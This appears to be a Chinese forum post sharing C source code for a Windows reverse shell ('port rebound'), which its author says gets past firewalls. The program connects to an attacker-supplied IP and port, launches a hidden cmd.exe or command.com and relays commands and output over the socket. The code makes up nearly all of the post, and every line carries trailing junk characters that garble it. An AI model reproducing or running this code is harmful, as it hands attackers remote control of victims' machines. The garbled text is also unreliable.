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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1[*{(e  
1,V`8 [  
/* ============================== S',9g4(5  
Rebound port in Windows NT K"V:<a  
By wind,2006/7 aRc'  
===============================*/ \Yoa:|%*y  
#include sIl33kmv  
#include |Cdvfk  
{@u<3 s  
#pragma comment(lib,"wsock32.lib") XIWm>IQ[)  
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void OutputShell(); ;_:Ool,  
SOCKET sClient; a0*2) uL}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8:.nEo'  
Q#Y k?Kv~  
void main(int argc,char **argv) WM)F0@"  
{ 4{qB X?  
WSADATA stWsaData; i\H+X   
int nRet; XTDE53Js&  
SOCKADDR_IN stSaiClient,stSaiServer; ;p ]y)3  
w&BGJYI  
if(argc != 3) n tP|\E  
{ - ~4+w  
printf("Useage:\n\rRebound DestIP DestPort\n"); SjdZyJa  
return; R1-k3;v^  
} J@9}`y=K  
?R5'#|EyX  
WSAStartup(MAKEWORD(2,2),&stWsaData); ? &zQa xD  
LjdYsai-  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kHJ96G  
@S 6u9v  
stSaiClient.sin_family = AF_INET; D^Ys)- d  
stSaiClient.sin_port = htons(0); t!_x(u  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Be}$I_95\P  
8#` 6M5  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) E:nt)Ef,  
{ oH2!5;A|  
printf("Bind Socket Failed!\n"); A{<xc[w;p  
return; _B,_4}  
} [^~7]2i  
@gSkROCdC)  
stSaiServer.sin_family = AF_INET; Bfd-:`Jk  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j|e[s ? d  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); QT#6'>&7-b  
G*\h\ @  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,kgF2K!  
{ )uP[!LV[e  
printf("Connect Error!"); =w<v3wWN4  
return; _N3}gFh>  
} 2*U.^]~"{  
OutputShell(); yZJ*dadAr  
} m h;X~.98  
#3kXmeyrD  
void OutputShell() 8G ]w,eF  
{ [$ :  
char szBuff[1024]; e@F|NCQ.9  
SECURITY_ATTRIBUTES stSecurityAttributes; ;5 <-)  
OSVERSIONINFO stOsversionInfo; tLcEl'Eo  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !5x Ly6=}  
STARTUPINFO stStartupInfo; S)%_weLW7  
char *szShell; ad!(z[F'Y  
PROCESS_INFORMATION stProcessInformation; ,M3z!=oIGn  
unsigned long lBytesRead; z#<P} }  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 'Zk<l#"}  
eSl-9 ^  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #Nte^E4  
stSecurityAttributes.lpSecurityDescriptor = 0; 4x'AC%&Qi  
stSecurityAttributes.bInheritHandle = TRUE; M+sj}  
bO49GEUT _  
0zqj0   
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &WZP2Q|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MY-.t-3  
+zWrLf_Rc  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @XOi62(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G+)?^QTn  
stStartupInfo.wShowWindow = SW_HIDE; YDiN^q7  
stStartupInfo.hStdInput = hReadPipe; {@M14)-x>_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; FQf #*  
Xy#V Q{!  
GetVersionEx(&stOsversionInfo); JZ`L%  
N_C_O$j  
switch(stOsversionInfo.dwPlatformId) <?$kI>Ot  
{ H?}wl%  
case 1: -Gsl[Rc0H;  
szShell = "command.com"; j"<Y!Y3  
break; R9. HD?H@  
default: ~4 FDKU C  
szShell = "cmd.exe"; g=A$<k  
break; yBz >0I3  
} $<e +r$1  
J(d2:V{h  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %OI4a5V*l  
\_oy$>;  
send(sClient,szMsg,77,0); Xa`(;CLW?  
while(1) xaXV ^ZM3  
{ MWq$AK]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Vdvx"s[`m  
if(lBytesRead) w)S;J,Hv  
{ /BzA(Ic/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (Cj,\r  
send(sClient,szBuff,lBytesRead,0); 6MrKi|'X@  
} |}qjqtZ  
else  a@|.;#FF  
{ bNvAyKc-  
lBytesRead=recv(sClient,szBuff,1024,0); B- Y+F  
if(lBytesRead<=0) break; Mn"/#tXL-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Riql,g/  
} 9YSVK\2$  
}  3t  
<`JG>H*B6  
return; ,L-C(j  
}
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